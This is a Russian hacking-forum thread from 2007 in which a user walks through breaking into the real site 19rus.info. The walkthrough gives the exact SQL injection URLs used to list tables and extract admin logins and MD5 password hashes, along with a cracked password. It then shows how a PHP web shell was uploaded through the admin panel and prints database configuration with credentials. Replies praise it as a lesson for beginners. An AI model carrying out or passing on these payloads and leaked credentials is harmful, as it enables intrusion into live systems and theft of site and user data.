Взлом 19rus.info [описание]

Тема в разделе "Статьи", создана пользователем Koller, 9 авг 2007.

  1. Koller
    Koller Guest
    [intro]

    Дело было вечером...делать было нечего...Хелькерн опубликовал sql-инъекцию на сайте 19rus.info, но так как там стоял PostgreSQL, ему было в лень ковыряться, но потом разобрался...
    Я решил разработать его скуль...но она была какой-то корявой...в общем из его скули ничего не вытянул...пришлось искать свою...
    Да и не хотел я описывать этот взлом...во всём рыжий виноват :(...тиран он...

    [start]

    Искать долго не пришлось...
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=1'
    Получаем:
    Из ошибки понимаем, что имеем дело с PostgreSQL...
    Начинаем подбирать количество полей:

    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+null--
    Ошибки нет....значит вроде правильно подобрали...проверяем:
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+null,null--
    Ошибка есть...значит поле все-таки одно...

    Далее мы приступаем к получении информации о таблицах и колонках в БД.
    Благо в PostgreSQL есть специальная база "Information_Schema", в которой и хранится нужная нам всяинформация.
    Начинаем, естественно, с таблиц:
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables-- 
    Узнаем, что первая таблица - applicable_roles
    Чтобы узнать последующие таблицы воспользуемся limit, правда в PostgreSQL он состоит из двух частей: limit и offset.
    Вот как раз offset и отвечает за номер записи.
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+1--
    Узнали, что вторая таблица - areas
    А далее Вам предстоит долгий и нудный перебор таблиц вручную (если конечно нет нужного скрипта), меняя значение после offset'а...
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+2--
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+3--
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+4--
    Получаем: baners, banks и banned.
    Нам придется узнать названия всех существующих таблиц в БД, дабы знать из какой именно таблицы нам "тащить" нужную информацию.
    Скажу Вам по секрету, их там около 140 (прим. - список всех таблиц приложен к "статье").
    После того как мы узнали названия всех таблиц, думаем в какой из таблиц хранится нужная нам информацию.
    Дабы не затруднять Вас ручным поиском, скажу сразу, это была таблица personal.
    Теперь узнаем колонки:
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Tables--
    Так мы будем постепенно узнавать все колонки, благодаря тому же limit'у, но так как нам нужно узнать название колонок именно в таблице personal, составляем след. запрос:
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'-- 
    Узнаем, что первая колонка 'family'...узнаем оставшиеся...
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'+limit+1+offset+1--
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'+limit+1+offset+2-- 
    Получили login...
    Аналогичным образом получаем оставшиемся названия колонок.
    В итоге получается такая последовательность - family, login, name, password, person_id, priv.
    Теперь пробуем вытащить нужную нам информацию, зная название таблицы и колонок.
    Нам, как Вы могли уже понять, нужны 2 колонки: login и password...
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+login+from+personal--
    Получили первый логин - admin...
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+password+from+personal--
    А вот его и пароль - 092bb19f92d5fce73076190b10c20881
    Чтобы сразу не гадали с алгоритмом, скажу сразу - простой md5.
    Продолжаем получать логины и пароли....следующая пара:
    Код:
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+login+from+personal+limit+1+offset+1--
    ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+password+from+personal+limit+1+offset+1--
    info - 94a5fc0d53f1659a82be402e5b396dee
    Всё...как оказалось позже, пользователей больше нет....хотя когда "ломал" сайт, их было пятеро...а на время написании статьи уже двое...

    Итак...мы получили 2 логина и 2 пароли захешированных в md5...
    Что делаем? Правильно...ставим их на брут...

    94a5fc0d53f1659a82be402e5b396dee - 060323

    Уже кое-что...
    Долго искать админку не пришлось...находилось в стандартном месте - _ht*tp://www.19rus.info/admin/
    Вводим info как логин, и как пароль 060323...

    Вот мы с Вами уже в админке...вам мало?....продолжим...
    Все конечно же подумали об заливке шелла....не проблема...
    В админке переходим на раздел РЕКЛАМА --> Партнеры
    Жмем кнопку "добавить"...номер ставим например 200...
    Изображение --> указываем путь на шелл (чистый php "глотает")...
    url любой, название тоже...
    Шелл залился в /admin/images/

    Например - ht*tp://www.19rus.info/admin/images/test.php
    Работает....

    Ничего интересного я там в принципе не нашел....
    Кроме двух конфигурационных файлов:

    /usr/local/www/19rus/lib/db_mssql.inc.php
    Код:
    var $Host     = "platinadb1";
      var $Database = "mcash";
      var $User     = "sa";
      var $Password = "";
    /usr/local/www/19rus/lib/db_pgsql.inc.php
    [end]

    Вроде и всё...
    Хотелось бы сразу сказать истинных хеккерам, что это "статья" написана для новичков, посему написана достаточно подробно...

    P.s. Привет Хелькерну...спасибо за наводку )
    P.ss Автор данной статьи хотел лишь продемонстрировать несовершенность нынешних систем, а не побуждать людей к подобным действиям, посему автор, то бишь я, никакой ответственности не несу )
    (с) Koller​
     
    Последнее редактирование модератором: 9 авг 2007
    9 авг 2007
    5 пользователям это понравилось.
  2. Хел
    Хел Guest
    Koller,
    ++ %)

    P.ss Автор данной статьи хотел лишь продемонстрировать несовершенность нынешних систем, а не побуждать людей к подобным действиям, посему автор, то бишь я, никакой ответственности не несу )

    забыл такую фигнюшку написать в статенге "хека' дарфейта-а то скажут че молодеж наставляешь...=\
     
    9 авг 2007
  3. Koller
    Koller Guest
    Helkern,

    ))
    ну так сейчас допиши...пока не поздно...
    да и вообще...я не хотел описывать этот взлом, потому как в нём нет ничего нового, ничего интересного...
     
    9 авг 2007
  4. Хел
    Хел Guest
    Koller,
    почему-новичкам лучше учиться на реальных примерах, а что то сложнее давать им смысла нет...
     
    9 авг 2007
    1 человеку нравится это.
  5. Koller
    Koller Guest
    Но...+ как рыжий сказал, материал уникален...мол написан специально для этого форума...
    В общем ладно...
    Ждем оценок новичков...
     
    9 авг 2007
  6. VecktorZona
    VecktorZona Guest
    ++++)
    Но зато КАК ОПИСАНО!!!!!!:)Ведь главное как описана суть взлома,а не сама дырка!!Однозначно +.
     
    10 авг 2007
Загрузка...